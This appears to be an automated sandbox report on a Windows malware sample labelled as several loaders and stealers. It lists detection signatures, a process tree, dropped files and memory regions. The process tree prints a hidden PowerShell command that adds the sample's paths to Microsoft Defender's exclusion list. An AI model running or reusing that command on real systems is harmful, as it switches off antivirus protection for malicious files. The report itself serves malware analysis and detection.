Analysis
- max time kernel
150s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
04/08/2026, 10:21
General
- Target 2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe
- Size 12.0MB
- Sample260804-mdq4estscy
- SHA256 90f8888b1cf841c69aadaf6677e3734c82ec1ca97e6283b07396522b3d3d0a5b
Malware Config
Signatures
- Detects executables packed with VMProtect. 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 1 IoCs
- VMProtect packed file 1 IoCs
Detects executables packed with VMProtect commercial packer.
- Checks whether UAC is enabled 1 TTPs 1 IoCs
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Drops file in Program Files directory 60 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies data under HKEY_USERS 2 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 19 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe"1⤵
- Downloads MZ/PE file
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$ErrorActionPreference='SilentlyContinue';$f=@('C:\Users\Admin\AppData\Local\Temp','C:\Users\Admin\AppData\Local\Temp\2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe','C:\Users\Admin\AppData\Local\Temp\Launcher.dll');$e=@();try{$e=(Get-MpPreference).ExclusionPath}catch{};foreach($x in $f){if($e -notcontains $x){Add-MpPreference -ExclusionPath $x}}"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MNW_1036\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --mojo-named-platform-channel-pipe=1036.1824.87022834431050387052⤵
- Drops file in Program Files directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\MNW_1036\EBWebView /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\MNW_1036\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=132.0.2957.140 --initial-client-data=0x160,0x164,0x168,0x13c,0x40,0x7ffcb86bb078,0x7ffcb86bb084,0x7ffcb86bb0903⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=gpu-process --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MNW_1036\EBWebView" --webview-exe-name=2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1692,i,9541326228413936729,2398752142385071737,262144 --variations-seed-version --mojo-platform-channel-handle=1688 /prefetch:23⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MNW_1036\EBWebView" --webview-exe-name=2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=2004,i,9541326228413936729,2398752142385071737,262144 --variations-seed-version --mojo-platform-channel-handle=2032 /prefetch:33⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MNW_1036\EBWebView" --webview-exe-name=2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=2352,i,9541326228413936729,2398752142385071737,262144 --variations-seed-version --mojo-platform-channel-handle=2364 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MNW_1036\EBWebView" --webview-exe-name=2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --always-read-main-dll --field-trial-handle=3668,i,9541326228413936729,2398752142385071737,262144 --variations-seed-version --mojo-platform-channel-handle=3688 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MNW_1036\EBWebView" --webview-exe-name=2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=4440,i,9541326228413936729,2398752142385071737,262144 --variations-seed-version --mojo-platform-channel-handle=4404 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MNW_1036\EBWebView" --webview-exe-name=2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=760,i,9541326228413936729,2398752142385071737,262144 --variations-seed-version --mojo-platform-channel-handle=4524 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MNW_1036\EBWebView" --webview-exe-name=2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=4516,i,9541326228413936729,2398752142385071737,262144 --variations-seed-version --mojo-platform-channel-handle=3712 /prefetch:83⤵
-
-
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe"C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\MNW_1036\EBWebView" --webview-exe-name=2026-08-03_a8a21f646cf3124841e72e72be84dfe7_amadey_elex_luca-stealer_njrat_smoke-loader_stop.exe --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=932,i,9541326228413936729,2398752142385071737,262144 --variations-seed-version --mojo-platform-channel-handle=4376 /prefetch:83⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
manifest.fingerprint
manifest.json
hyph-as.hyb
hyph-hi.hyb
hyph-nb.hyb
manifest.json
manifest.json
GFMemories.exe
protocols.json
settings.dat
settings.dat
throttle_store.dat
data_0
data_1
data_2
data_3
MANIFEST-000001
Network Persistent State
Network Persistent State~RFe59b0c8.TMP
SCT Auditing Pending Reports
Preferences
Preferences~RFe592a62.TMP
CURRENT
Local State
Local State
Local State
Local State
Local State~RFe5889bd.TMP
__PSScriptPolicyTest_buvoaadi.wv0.ps1
memory/852-155-0x00007FFCD2FB0000-0x00007FFCD2FB1000-memory.dmp
memory/1036-9-0x0000000000940000-0x0000000001544000-memory.dmp
memory/1036-3-0x00000000032C0000-0x00000000032C1000-memory.dmp
memory/1036-7-0x0000000003300000-0x0000000003301000-memory.dmp
memory/1036-8-0x00000000032F0000-0x00000000032F1000-memory.dmp
memory/1036-1-0x0000000001590000-0x0000000001591000-memory.dmp
memory/1036-4-0x00000000032D0000-0x00000000032D1000-memory.dmp
memory/1036-2-0x00000000015A0000-0x00000000015A1000-memory.dmp
memory/1036-5-0x00000000032E0000-0x00000000032E1000-memory.dmp
memory/1036-0-0x0000000000930000-0x0000000000931000-memory.dmp
memory/3312-53-0x00007FFCD2FB0000-0x00007FFCD2FB1000-memory.dmp
memory/4100-95-0x00007FFCD2A00000-0x00007FFCD2A01000-memory.dmp
memory/4100-96-0x00007FFCD3640000-0x00007FFCD3641000-memory.dmp
memory/4284-30-0x0000000005900000-0x0000000005C54000-memory.dmp
memory/4284-21-0x0000000005820000-0x0000000005886000-memory.dmp
memory/4284-216-0x0000000007290000-0x000000000729A000-memory.dmp
memory/4284-225-0x0000000007500000-0x0000000007596000-memory.dmp
memory/4284-226-0x00000000072C0000-0x00000000072D1000-memory.dmp
memory/4284-232-0x0000000007460000-0x000000000746E000-memory.dmp
memory/4284-233-0x0000000007470000-0x0000000007484000-memory.dmp
memory/4284-238-0x00000000074B0000-0x00000000074CA000-memory.dmp
memory/4284-239-0x00000000029A0000-0x00000000029B0000-memory.dmp
memory/4284-240-0x00000000074A0000-0x00000000074A8000-memory.dmp
memory/4284-214-0x0000000007870000-0x0000000007EEA000-memory.dmp
memory/4284-204-0x0000000006ED0000-0x0000000006EEE000-memory.dmp
memory/4284-205-0x0000000006F00000-0x0000000006FA3000-memory.dmp
memory/4284-195-0x0000000006E90000-0x0000000006EC2000-memory.dmp
memory/4284-196-0x000000006F490000-0x000000006F4DC000-memory.dmp
memory/4284-33-0x0000000005F10000-0x0000000005F5C000-memory.dmp
memory/4284-32-0x0000000005EC0000-0x0000000005EDE000-memory.dmp
memory/4284-215-0x0000000007230000-0x000000000724A000-memory.dmp
memory/4284-22-0x0000000005890000-0x00000000058F6000-memory.dmp
memory/4284-20-0x0000000004F30000-0x0000000004F52000-memory.dmp
memory/4284-17-0x0000000005080000-0x00000000056A8000-memory.dmp
memory/4284-13-0x00000000029A0000-0x00000000029B0000-memory.dmp
memory/4284-12-0x0000000002900000-0x0000000002936000-memory.dmp
memory/4284-11-0x00000000029A0000-0x00000000029B0000-memory.dmp
memory/4760-573-0x000001DFC3E90000-0x000001DFC3E91000-memory.dmp
memory/4760-574-0x000001DFC3E90000-0x000001DFC3E91000-memory.dmp
memory/4760-580-0x000001DFC3E90000-0x000001DFC3E91000-memory.dmp
memory/4760-585-0x000001DFC3E90000-0x000001DFC3E91000-memory.dmp
memory/4760-584-0x000001DFC3E90000-0x000001DFC3E91000-memory.dmp
memory/4760-583-0x000001DFC3E90000-0x000001DFC3E91000-memory.dmp
memory/4760-581-0x000001DFC3E90000-0x000001DFC3E91000-memory.dmp
memory/4760-582-0x000001DFC3E90000-0x000001DFC3E91000-memory.dmp
memory/4760-579-0x000001DFC3E90000-0x000001DFC3E91000-memory.dmp
memory/4760-575-0x000001DFC3E90000-0x000001DFC3E91000-memory.dmp